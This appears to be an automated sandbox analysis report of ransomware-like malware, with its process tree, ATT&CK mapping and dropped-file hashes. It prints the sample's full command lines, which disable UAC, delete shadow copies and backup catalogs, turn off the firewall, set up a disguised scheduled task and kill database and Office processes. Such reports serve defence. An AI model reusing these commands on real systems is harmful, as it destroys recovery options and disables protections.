Token: SeUndockPrivilege	1580	WMIC.exe
Token: SeManageVolumePrivilege	1580	WMIC.exe
Token: 33	1580	WMIC.exe
Token: 34	1580	WMIC.exe
Token: 35	1580	WMIC.exe
Token: 36	1580	WMIC.exe
Token: SeBackupPrivilege	4036	vssvc.exe
Token: SeRestorePrivilege	4036	vssvc.exe
Token: SeAuditPrivilege	4036	vssvc.exe
Token: SeDebugPrivilege	2828	taskkill.exe
Token: SeDebugPrivilege	4348	taskkill.exe
Token: SeDebugPrivilege	3836	taskkill.exe
Token: SeDebugPrivilege	4064	taskkill.exe
Token: SeDebugPrivilege	4272	taskkill.exe
Token: SeDebugPrivilege	4984	taskkill.exe
Token: SeDebugPrivilege	2732	taskkill.exe
Token: SeDebugPrivilege	4028	taskkill.exe
Token: SeDebugPrivilege	1068	taskkill.exe
Token: SeDebugPrivilege	1996	taskkill.exe
Token: SeDebugPrivilege	1200	taskkill.exe
Token: SeDebugPrivilege	1380	taskkill.exe
Token: SeDebugPrivilege	3648	taskkill.exe
Token: SeDebugPrivilege	2332	taskkill.exe
Token: SeDebugPrivilege	924	taskkill.exe
Token: SeDebugPrivilege	1556	taskkill.exe
Token: SeDebugPrivilege	544	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

sample.execmd.execmd.execmd.exeWScript.execmd.execmd.execmd.exe

description	pid	process	target process
PID 964 wrote to memory of 3612	964	sample.exe	cmd.exe
PID 964 wrote to memory of 3612	964	sample.exe	cmd.exe
PID 964 wrote to memory of 3612	964	sample.exe	cmd.exe
PID 3612 wrote to memory of 1080	3612	cmd.exe	tasklist.exe
PID 3612 wrote to memory of 1080	3612	cmd.exe	tasklist.exe
PID 3612 wrote to memory of 1080	3612	cmd.exe	tasklist.exe
PID 3612 wrote to memory of 620	3612	cmd.exe	findstr.exe
PID 3612 wrote to memory of 620	3612	cmd.exe	findstr.exe
PID 3612 wrote to memory of 620	3612	cmd.exe	findstr.exe
PID 964 wrote to memory of 832	964	sample.exe	cmd.exe
PID 964 wrote to memory of 832	964	sample.exe	cmd.exe
PID 964 wrote to memory of 832	964	sample.exe	cmd.exe
PID 964 wrote to memory of 2124	964	sample.exe	cmd.exe
PID 964 wrote to memory of 2124	964	sample.exe	cmd.exe
PID 964 wrote to memory of 2124	964	sample.exe	cmd.exe
PID 2124 wrote to memory of 4832	2124	cmd.exe	WScript.exe
PID 2124 wrote to memory of 4832	2124	cmd.exe	WScript.exe
PID 2124 wrote to memory of 4832	2124	cmd.exe	WScript.exe
PID 964 wrote to memory of 2728	964	sample.exe	cmd.exe
PID 964 wrote to memory of 2728	964	sample.exe	cmd.exe
PID 964 wrote to memory of 2728	964	sample.exe	cmd.exe
PID 2728 wrote to memory of 4288	2728	cmd.exe	schtasks.exe
PID 2728 wrote to memory of 4288	2728	cmd.exe	schtasks.exe
PID 2728 wrote to memory of 4288	2728	cmd.exe	schtasks.exe
PID 4832 wrote to memory of 2952	4832	WScript.exe	cmd.exe
PID 4832 wrote to memory of 2952	4832	WScript.exe	cmd.exe
PID 4832 wrote to memory of 2952	4832	WScript.exe	cmd.exe
PID 964 wrote to memory of 4408	964	sample.exe	cmd.exe
PID 964 wrote to memory of 4408	964	sample.exe	cmd.exe
PID 964 wrote to memory of 4408	964	sample.exe	cmd.exe
PID 964 wrote to memory of 4772	964	sample.exe	cmd.exe
PID 964 wrote to memory of 4772	964	sample.exe	cmd.exe
PID 964 wrote to memory of 4772	964	sample.exe	cmd.exe
PID 4772 wrote to memory of 2064	4772	cmd.exe	systeminfo.exe
PID 4772 wrote to memory of 2064	4772	cmd.exe	systeminfo.exe
PID 4772 wrote to memory of 2064	4772	cmd.exe	systeminfo.exe
PID 4772 wrote to memory of 2344	4772	cmd.exe	find.exe
PID 4772 wrote to memory of 2344	4772	cmd.exe	find.exe
PID 4772 wrote to memory of 2344	4772	cmd.exe	find.exe
PID 4832 wrote to memory of 4080	4832	WScript.exe	cmd.exe
PID 4832 wrote to memory of 4080	4832	WScript.exe	cmd.exe
PID 4832 wrote to memory of 4080	4832	WScript.exe	cmd.exe
PID 4080 wrote to memory of 1032	4080	cmd.exe	tasklist.exe
PID 4080 wrote to memory of 1032	4080	cmd.exe	tasklist.exe
PID 4080 wrote to memory of 1032	4080	cmd.exe	tasklist.exe
PID 4080 wrote to memory of 4608	4080	cmd.exe	find.exe
PID 4080 wrote to memory of 4608	4080	cmd.exe	find.exe
PID 4080 wrote to memory of 4608	4080	cmd.exe	find.exe
PID 4080 wrote to memory of 4476	4080	cmd.exe	timeout.exe
PID 4080 wrote to memory of 4476	4080	cmd.exe	timeout.exe
PID 4080 wrote to memory of 4476	4080	cmd.exe	timeout.exe
PID 964 wrote to memory of 1980	964	sample.exe	cmd.exe
PID 964 wrote to memory of 1980	964	sample.exe	cmd.exe
PID 964 wrote to memory of 1980	964	sample.exe	cmd.exe
PID 1980 wrote to memory of 2484	1980	cmd.exe	systeminfo.exe
PID 1980 wrote to memory of 2484	1980	cmd.exe	systeminfo.exe
PID 1980 wrote to memory of 2484	1980	cmd.exe	systeminfo.exe
PID 1980 wrote to memory of 1408	1980	cmd.exe	find.exe
PID 1980 wrote to memory of 1408	1980	cmd.exe	find.exe
PID 1980 wrote to memory of 1408	1980	cmd.exe	find.exe
PID 964 wrote to memory of 3396	964	sample.exe	cmd.exe
PID 964 wrote to memory of 3396	964	sample.exe	cmd.exe
PID 964 wrote to memory of 3396	964	sample.exe	cmd.exe
PID 964 wrote to memory of 3868	964	sample.exe	cmd.exe

C:\Users\Admin\AppData\Local\Temp\sample.exe
"C:\Users\Admin\AppData\Local\Temp\sample.exe"
1⤵
- Modifies extensions of user files
- Drops startup file
- Drops desktop.ini file(s)
- Enumerates connected drives
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:964

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c tasklist /v /fo csv | findstr /i "dcdcf"
2⤵
- Suspicious use of WriteProcessMemory
PID:3612

C:\Windows\SysWOW64\findstr.exe
findstr /i "dcdcf"
3⤵
PID:620

C:\Windows\SysWOW64\tasklist.exe
tasklist /v /fo csv
3⤵
- Enumerates processes with tasklist
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1080

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ver
2⤵
PID:832

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c cd "%SystemDrive%\Users\%username%\AppData\"&t2_svc.bat
2⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2124

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\v9_svc.vbs"
3⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4832

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /C echo C:\Users\Admin\AppData\h4_svc.bat
4⤵
PID:2952

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\h4_svc.bat" "
4⤵
- Suspicious use of WriteProcessMemory
PID:4080

C:\Windows\SysWOW64\tasklist.exe
tasklist /v
5⤵
- Enumerates processes with tasklist
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1032

C:\Windows\SysWOW64\find.exe
find /I /c "dcdcf"
5⤵
PID:4608

C:\Windows\SysWOW64\timeout.exe
timeout /t 15 /nobreak
5⤵
- Delays execution with timeout.exe
PID:4476

C:\Windows\SysWOW64\tasklist.exe
tasklist /fi "ImageName eq sample.exe" /fo csv
5⤵
- Enumerates processes with tasklist
PID:2308

C:\Windows\SysWOW64\find.exe
find /I "sample.exe"
5⤵
PID:1804

C:\Windows\SysWOW64\timeout.exe
timeout /t 15 /nobreak
5⤵
- Delays execution with timeout.exe
PID:2996

C:\Windows\SysWOW64\tasklist.exe
tasklist /fi "ImageName eq sample.exe" /fo csv
5⤵
- Enumerates processes with tasklist
PID:4900

C:\Windows\SysWOW64\find.exe
find /I "sample.exe"
5⤵
PID:3080

C:\Windows\SysWOW64\timeout.exe
timeout /t 15 /nobreak
5⤵
- Delays execution with timeout.exe
PID:2620

C:\Windows\SysWOW64\tasklist.exe
tasklist /fi "ImageName eq sample.exe" /fo csv
5⤵
- Enumerates processes with tasklist
PID:1692

C:\Windows\SysWOW64\find.exe
find /I "sample.exe"
5⤵
PID:2028

C:\Windows\SysWOW64\timeout.exe
timeout /t 15 /nobreak
5⤵
- Delays execution with timeout.exe
PID:3152

C:\Windows\SysWOW64\tasklist.exe
tasklist /fi "ImageName eq sample.exe" /fo csv
5⤵
- Enumerates processes with tasklist
PID:3668

C:\Windows\SysWOW64\find.exe
find /I "sample.exe"
5⤵
PID:5108

C:\Windows\SysWOW64\timeout.exe
timeout /t 15 /nobreak
5⤵
- Delays execution with timeout.exe
PID:1052

C:\Windows\SysWOW64\tasklist.exe
tasklist /fi "ImageName eq sample.exe" /fo csv
5⤵
- Enumerates processes with tasklist
PID:2156

C:\Windows\SysWOW64\find.exe
find /I "sample.exe"
5⤵
PID:612

C:\Windows\SysWOW64\timeout.exe
timeout /t 15 /nobreak
5⤵
- Delays execution with timeout.exe
PID:2332

C:\Windows\SysWOW64\tasklist.exe
tasklist /fi "ImageName eq sample.exe" /fo csv
5⤵
- Enumerates processes with tasklist
PID:1560

C:\Windows\SysWOW64\find.exe
find /I "sample.exe"
5⤵
PID:1556

C:\Windows\SysWOW64\timeout.exe
timeout /t 15 /nobreak
5⤵
- Delays execution with timeout.exe
PID:3016

C:\Windows\SysWOW64\tasklist.exe
tasklist /fi "ImageName eq sample.exe" /fo csv
5⤵
- Enumerates processes with tasklist
PID:1180

C:\Windows\SysWOW64\find.exe
find /I "sample.exe"
5⤵
PID:4380

C:\Windows\SysWOW64\timeout.exe
timeout /t 15 /nobreak
5⤵
- Delays execution with timeout.exe
PID:1112

C:\Windows\SysWOW64\tasklist.exe
tasklist /fi "ImageName eq sample.exe" /fo csv
5⤵
- Enumerates processes with tasklist
PID:2124

C:\Windows\SysWOW64\find.exe
find /I "sample.exe"
5⤵
PID:1804

C:\Windows\SysWOW64\timeout.exe
timeout /t 15 /nobreak
5⤵
- Delays execution with timeout.exe
PID:4364

C:\Windows\SysWOW64\timeout.exe
timeout /t 90 /nobreak
5⤵
- Delays execution with timeout.exe
PID:5100

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c schtasks /create /sc minute /mo 6 /tn "Microsoft_Auto_Scheduler" /tr "'C:\Users\%username%\AppData\t2_svc.bat'" /f
2⤵
- Suspicious use of WriteProcessMemory
PID:2728

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /sc minute /mo 6 /tn "Microsoft_Auto_Scheduler" /tr "'C:\Users\Admin\AppData\t2_svc.bat'" /f
3⤵
- Creates scheduled task(s)
PID:4288

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c echo %date%-%time%
2⤵
PID:4408

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c systeminfo|find /i "os name"
2⤵
- Suspicious use of WriteProcessMemory
PID:4772

C:\Windows\SysWOW64\systeminfo.exe
systeminfo
3⤵
- Gathers system information
PID:2064

C:\Windows\SysWOW64\find.exe
find /i "os name"
3⤵
PID:2344

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c systeminfo|find /i "original"
2⤵
- Suspicious use of WriteProcessMemory
PID:1980

C:\Windows\SysWOW64\systeminfo.exe
systeminfo
3⤵
- Gathers system information
PID:2484

C:\Windows\SysWOW64\find.exe
find /i "original"
3⤵
PID:1408

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ver
2⤵
PID:3396

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c nslookup myip.opendns.com. resolver1.opendns.com
2⤵
PID:3868

C:\Windows\SysWOW64\nslookup.exe
nslookup myip.opendns.com. resolver1.opendns.com
3⤵
PID:5056

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f&vssadmin.exe Delete Shadows /All /Quiet&wmic shadowcopy delete&netsh advfirewall set currentprofile state off&netsh firewall set opmode mode=disable&netsh advfirewall firewall set rule group="Network Discovery" new enable=Yes&wbadmin delete catalog -quiet
2⤵
PID:5028

C:\Windows\SysWOW64\reg.exe
reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
3⤵
- Modifies registry key
PID:2796

C:\Windows\SysWOW64\Wbem\WMIC.exe
wmic shadowcopy delete
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1580

C:\Windows\SysWOW64\netsh.exe
netsh advfirewall set currentprofile state off
3⤵
PID:5060

C:\Windows\SysWOW64\netsh.exe
netsh firewall set opmode mode=disable
3⤵
PID:3632

C:\Windows\SysWOW64\netsh.exe
netsh advfirewall firewall set rule group="Network Discovery" new enable=Yes
3⤵
PID:1884

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c taskkill /im msftesql.exe&taskkill /im sqlagent.exe&taskkill /im sqlbrowser.exe&taskkill /im sqlservr.exe&taskkill /im sqlwriter.exe&taskkill /im oracle.exe&taskkill /im ocssd.exe&taskkill /im dbsnmp.exe&taskkill /im synctime.exe&taskkill /im agntsvc.exe&taskkill /im mydesktopqos.exe&taskkill /im isqlplussvc.exe&taskkill /im xfssvccon.exe&taskkill /im mydesktopservice.exe&taskkill /im ocautoupds.exe&taskkill /im agntsvc.exe&taskkill /im encsvc.exe&taskkill /im firefoxconfig.exe&taskkill /im tbirdconfig.exe&taskkill /im ocomm.exe&taskkill /im mysqld.exe&taskkill /im mysqld-nt.exe&taskkill /im mysqld-opt.exe&taskkill /im dbeng50.exe&taskkill /im sqbcoreservice.exe&taskkill /im excel.exe&taskkill /im infopath.exe&taskkill /im msaccess.exe&taskkill /im mspub.exe&taskkill /im onenote.exe&taskkill /im outlook.exe&taskkill /im powerpnt.exe&taskkill /im steam.exe&taskkill /im thebat.exe&taskkill /im thebat64.exe&taskkill /im thunderbird.exe&taskkill /im visio.exe&taskkill /im winword.exe&taskkill /im wordpad.exe
2⤵
PID:4376

C:\Windows\SysWOW64\taskkill.exe
taskkill /im msftesql.exe
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2828

C:\Windows\SysWOW64\taskkill.exe
taskkill /im sqlagent.exe
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4348

C:\Windows\SysWOW64\taskkill.exe
taskkill /im sqlbrowser.exe
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3836

C:\Windows\SysWOW64\taskkill.exe
taskkill /im sqlservr.exe
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4064

C:\Windows\SysWOW64\taskkill.exe
taskkill /im sqlwriter.exe
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4272

C:\Windows\SysWOW64\taskkill.exe
taskkill /im oracle.exe
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4984

C:\Windows\SysWOW64\taskkill.exe
taskkill /im ocssd.exe
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2732

C:\Windows\SysWOW64\taskkill.exe
taskkill /im dbsnmp.exe
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4028

C:\Windows\SysWOW64\taskkill.exe
taskkill /im synctime.exe
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1068

C:\Windows\SysWOW64\taskkill.exe
taskkill /im agntsvc.exe
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1996

C:\Windows\SysWOW64\taskkill.exe
taskkill /im mydesktopqos.exe
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1200

C:\Windows\SysWOW64\taskkill.exe
taskkill /im isqlplussvc.exe
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1380

C:\Windows\SysWOW64\taskkill.exe
taskkill /im xfssvccon.exe
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3648

C:\Windows\SysWOW64\taskkill.exe
taskkill /im mydesktopservice.exe
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2332

C:\Windows\SysWOW64\taskkill.exe
taskkill /im ocautoupds.exe
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:924

C:\Windows\SysWOW64\taskkill.exe
taskkill /im agntsvc.exe
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1556

C:\Windows\SysWOW64\taskkill.exe
taskkill /im encsvc.exe
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:544

C:\Windows\SysWOW64\taskkill.exe
taskkill /im firefoxconfig.exe
3⤵
- Kills process with taskkill
PID:3756

C:\Windows\SysWOW64\taskkill.exe
taskkill /im tbirdconfig.exe
3⤵
- Kills process with taskkill
PID:1232

C:\Windows\SysWOW64\taskkill.exe
taskkill /im ocomm.exe
3⤵
- Kills process with taskkill
PID:1112

C:\Windows\SysWOW64\taskkill.exe
taskkill /im mysqld.exe
3⤵
- Kills process with taskkill
PID:1080

C:\Windows\SysWOW64\taskkill.exe
taskkill /im mysqld-nt.exe
3⤵
- Kills process with taskkill
PID:4148

C:\Windows\SysWOW64\taskkill.exe
taskkill /im mysqld-opt.exe
3⤵
- Kills process with taskkill
PID:3040

C:\Windows\SysWOW64\taskkill.exe
taskkill /im dbeng50.exe
3⤵
- Kills process with taskkill
PID:4412

C:\Windows\SysWOW64\taskkill.exe
taskkill /im sqbcoreservice.exe
3⤵
- Kills process with taskkill
PID:4360

C:\Windows\SysWOW64\taskkill.exe
taskkill /im excel.exe
3⤵
- Kills process with taskkill
PID:4344

C:\Windows\SysWOW64\taskkill.exe
taskkill /im infopath.exe
3⤵
- Kills process with taskkill
PID:2980

C:\Windows\SysWOW64\taskkill.exe
taskkill /im msaccess.exe
3⤵
- Kills process with taskkill
PID:1032

C:\Windows\SysWOW64\taskkill.exe
taskkill /im mspub.exe
3⤵
- Kills process with taskkill
PID:932

C:\Windows\SysWOW64\taskkill.exe
taskkill /im onenote.exe
3⤵
- Kills process with taskkill
PID:2608

C:\Windows\SysWOW64\taskkill.exe
taskkill /im outlook.exe
3⤵
- Kills process with taskkill
PID:3528

C:\Windows\SysWOW64\taskkill.exe
taskkill /im powerpnt.exe
3⤵
- Kills process with taskkill
PID:1456

C:\Windows\SysWOW64\taskkill.exe
taskkill /im steam.exe
3⤵
- Kills process with taskkill
PID:2836

C:\Windows\SysWOW64\taskkill.exe
taskkill /im thebat.exe
3⤵
- Kills process with taskkill
PID:3160

C:\Windows\SysWOW64\taskkill.exe
taskkill /im thebat64.exe
3⤵
- Kills process with taskkill
PID:4660

C:\Windows\SysWOW64\taskkill.exe
taskkill /im thunderbird.exe
3⤵
- Kills process with taskkill
PID:2392

C:\Windows\SysWOW64\taskkill.exe
taskkill /im visio.exe
3⤵
- Kills process with taskkill
PID:3620

C:\Windows\SysWOW64\taskkill.exe
taskkill /im winword.exe
3⤵
- Kills process with taskkill
PID:3468

C:\Windows\SysWOW64\taskkill.exe
taskkill /im wordpad.exe
3⤵
- Kills process with taskkill
PID:3284

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c taskkill /im notepad.exe
2⤵
PID:4452

C:\Windows\SysWOW64\taskkill.exe
taskkill /im notepad.exe
3⤵
- Kills process with taskkill
PID:1628

C:\Windows\SysWOW64\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Read_Me!_.txt
2⤵
PID:4728

C:\Windows\SysWOW64\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Read_Me!_.txt
2⤵
PID:4144

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4036

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Modify Existing Service

1

T1031

Scheduled Task

1

T1053

Privilege Escalation

Bypass User Account Control

1

T1088

Scheduled Task

1

T1053

Defense Evasion

Bypass User Account Control

1

T1088

Disabling Security Tools

1

T1089

Modify Registry

2

T1112

File Deletion

1

T1107

Credential Access

Credentials in Files

1

T1081

Discovery

Query Registry

2

T1012

System Information Discovery

4

T1082

Peripheral Device Discovery

1

T1120

Process Discovery

1

T1057

Lateral Movement

Collection

Data from Local System

1

T1005

Exfiltration

Command and Control

Impact

Inhibit System Recovery

1

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\msoshext.dll
Filesize
1.7MB

MD5
c606bd7c9c733dd27f74157c34e51742

SHA1
aab92689723449fbc3e123fb614dd536a74b74d4

SHA256
606390649012b31b5d83630f1186562e4b1ce4023d8870d8c29eb62e7e0769e0

SHA512
5f8fabe3d9753413d1aedcc76b9568c50dd25a5a6aeacd1ce88aecc28c0ba96dac80177679d380708213a0997946e49383bdaca7114c8c9526a24ed999194e38

Download Submit
C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\msvcp140.dll
Filesize
613KB

MD5
c1b066f9e3e2f3a6785161a8c7e0346a

SHA1
8b3b943e79c40bc81fdac1e038a276d034bbe812

SHA256
99e3e25cda404283fbd96b25b7683a8d213e7954674adefa2279123a8d0701fd

SHA512
36f9e6c86afbd80375295238b67e4f472eb86fcb84a590d8dba928d4e7a502d4f903971827fdc331353e5b3d06616664450759432fdc8d304a56e7dacb84b728

Download Submit
C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\vcruntime140.dll
Filesize
83KB

MD5
1453290db80241683288f33e6dd5e80e

SHA1
29fb9af50458df43ef40bfc8f0f516d0c0a106fd

SHA256
2b7602cc1521101d116995e3e2ddfe0943349806378a0d40add81ba64e359b6c

SHA512
4ea48a11e29ea7ac3957dcab1a7912f83fd1c922c43d7b7d78523178fe236b4418729455b78ac672bb5632ecd5400746179802c6a9690adb025270b0ade84e91

Download Submit
C:\Read_Me!_.txt
Filesize
1KB

MD5
f9f261a411dd279fdf572a7b85ad3c35

SHA1
aa4c4ab38c5199b8f00314e2610e7ef420fd5542

SHA256
66607908902577f4cff760490e61d20012387532d61e2dc3bbbd3ae3297fc0ec

SHA512
e6e1570d9cef61c3f937ae29d42af3e97017addeb07a12304b1922a9758a8a8051f33261cd26f00956a4559f903675609820b6e802a4c5d169bbd35d224dd202

Download Submit
C:\Users\Admin\AppData\h4_svc.bat
Filesize
1KB

MD5
4d428091b2808d90b7945c27b2c23a04

SHA1
d74afbc10ad68549bb9b27132b573d980785c2a7

SHA256
00eb0cf67c2cfa7f93b67c3320e897effb70d022dce30a40a70f044a4d9518e2

SHA512
90ec5493e498dc102ad22f708a8fd334e9f4311101f5534f99c5fd773d9e9db9441832942eefdfefb8d32c223635bcfa6af79b5cef47508adb7afe3c5b4a18a7

Download Submit
C:\Users\Admin\AppData\t2_svc.bat
Filesize
138B

MD5
702f5dc6f9dec28c8c9b7b6885c9fe09

SHA1
dbb85da6de899deb21ce0a8f25c1726cd19e49e8

SHA256
20bf5224af318c449407c99e5f4628f71b874463a1cb777031a43b6236ab97e9

SHA512
fa4bfc3ac77561585d03bf62e7bb4de0602cf442b5c54b70945f8c75114d111559f50ad36026e2bb1027323f7f50130b7c60bee22835400a8a07feab436ccff7

Download Submit
C:\Users\Admin\AppData\v9_svc.vbs
Filesize
686B

MD5
e9c50acda9063b2462697bdbd0a0dfe2

SHA1
d1a2bc54905ce0e9121f8e5c249e0527f2190b7e

SHA256
f236c75a867944ce27e123b3aaf3a465084bc6135dc453f7f4aacb1cbf9946bd

SHA512
d5cd841b82867e323f5cd28f97c9a27ea32be1b3793cb7ddff1ccc3c0559c6b3758f6366d259eda2265431f67a1eebe41dcfb2047ee94c515eb458af6311b8a9

Download Submit
C:\Users\Read_Me!_.txt
Filesize
1KB

MD5
f9f261a411dd279fdf572a7b85ad3c35

SHA1
aa4c4ab38c5199b8f00314e2610e7ef420fd5542

SHA256
66607908902577f4cff760490e61d20012387532d61e2dc3bbbd3ae3297fc0ec

SHA512
e6e1570d9cef61c3f937ae29d42af3e97017addeb07a12304b1922a9758a8a8051f33261cd26f00956a4559f903675609820b6e802a4c5d169bbd35d224dd202

Download Submit
memory/544-179-0x0000000000000000-mapping.dmp

Download
memory/620-132-0x0000000000000000-mapping.dmp

Download
memory/832-133-0x0000000000000000-mapping.dmp

Download
memory/924-177-0x0000000000000000-mapping.dmp

Download
memory/932-194-0x0000000000000000-mapping.dmp

Download
memory/1032-193-0x0000000000000000-mapping.dmp

Download
memory/1032-147-0x0000000000000000-mapping.dmp

Download
memory/1068-171-0x0000000000000000-mapping.dmp

Download
memory/1080-131-0x0000000000000000-mapping.dmp

Download
memory/1080-183-0x0000000000000000-mapping.dmp

Download
memory/1112-182-0x0000000000000000-mapping.dmp

Download
memory/1200-173-0x0000000000000000-mapping.dmp

Download
memory/1232-181-0x0000000000000000-mapping.dmp

Download
memory/1380-174-0x0000000000000000-mapping.dmp

Download
memory/1408-152-0x0000000000000000-mapping.dmp

Download
memory/1556-178-0x0000000000000000-mapping.dmp

Download
memory/1580-158-0x0000000000000000-mapping.dmp

Download
memory/1804-185-0x0000000000000000-mapping.dmp

Download
memory/1884-161-0x0000000000000000-mapping.dmp

Download
memory/1980-150-0x0000000000000000-mapping.dmp

Download
memory/1996-172-0x0000000000000000-mapping.dmp

Download
memory/2064-144-0x0000000000000000-mapping.dmp

Download
memory/2124-134-0x0000000000000000-mapping.dmp

Download
memory/2308-184-0x0000000000000000-mapping.dmp

Download
memory/2332-176-0x0000000000000000-mapping.dmp

Download
memory/2344-145-0x0000000000000000-mapping.dmp

Download
memory/2484-151-0x0000000000000000-mapping.dmp

Download
memory/2608-195-0x0000000000000000-mapping.dmp

Download
memory/2728-138-0x0000000000000000-mapping.dmp

Download
memory/2732-169-0x0000000000000000-mapping.dmp

Download
memory/2796-157-0x0000000000000000-mapping.dmp

Download
memory/2828-163-0x0000000000000000-mapping.dmp

Download
memory/2952-140-0x0000000000000000-mapping.dmp

Download
memory/2980-192-0x0000000000000000-mapping.dmp

Download
memory/2996-187-0x0000000000000000-mapping.dmp

Download
memory/3040-188-0x0000000000000000-mapping.dmp

Download
memory/3396-153-0x0000000000000000-mapping.dmp

Download
memory/3528-196-0x0000000000000000-mapping.dmp

Download
memory/3612-130-0x0000000000000000-mapping.dmp

Download
memory/3632-160-0x0000000000000000-mapping.dmp

Download
memory/3648-175-0x0000000000000000-mapping.dmp

Download
memory/3756-180-0x0000000000000000-mapping.dmp

Download
memory/3836-165-0x0000000000000000-mapping.dmp

Download
memory/3868-154-0x0000000000000000-mapping.dmp

Download
memory/4028-170-0x0000000000000000-mapping.dmp

Download
memory/4064-166-0x0000000000000000-mapping.dmp

Download
memory/4080-146-0x0000000000000000-mapping.dmp

Download
memory/4148-186-0x0000000000000000-mapping.dmp

Download
memory/4272-167-0x0000000000000000-mapping.dmp

Download
memory/4288-139-0x0000000000000000-mapping.dmp

Download
memory/4344-191-0x0000000000000000-mapping.dmp

Download
memory/4348-164-0x0000000000000000-mapping.dmp

Download
memory/4360-190-0x0000000000000000-mapping.dmp

Download
memory/4376-162-0x0000000000000000-mapping.dmp

Download
memory/4408-141-0x0000000000000000-mapping.dmp

Download
memory/4412-189-0x0000000000000000-mapping.dmp

Download
memory/4476-149-0x0000000000000000-mapping.dmp

Download
memory/4608-148-0x0000000000000000-mapping.dmp

Download
memory/4772-142-0x0000000000000000-mapping.dmp

Download
memory/4832-137-0x0000000000000000-mapping.dmp

Download
memory/4984-168-0x0000000000000000-mapping.dmp

Download
memory/5028-156-0x0000000000000000-mapping.dmp

Download
memory/5056-155-0x0000000000000000-mapping.dmp

Download
memory/5060-159-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads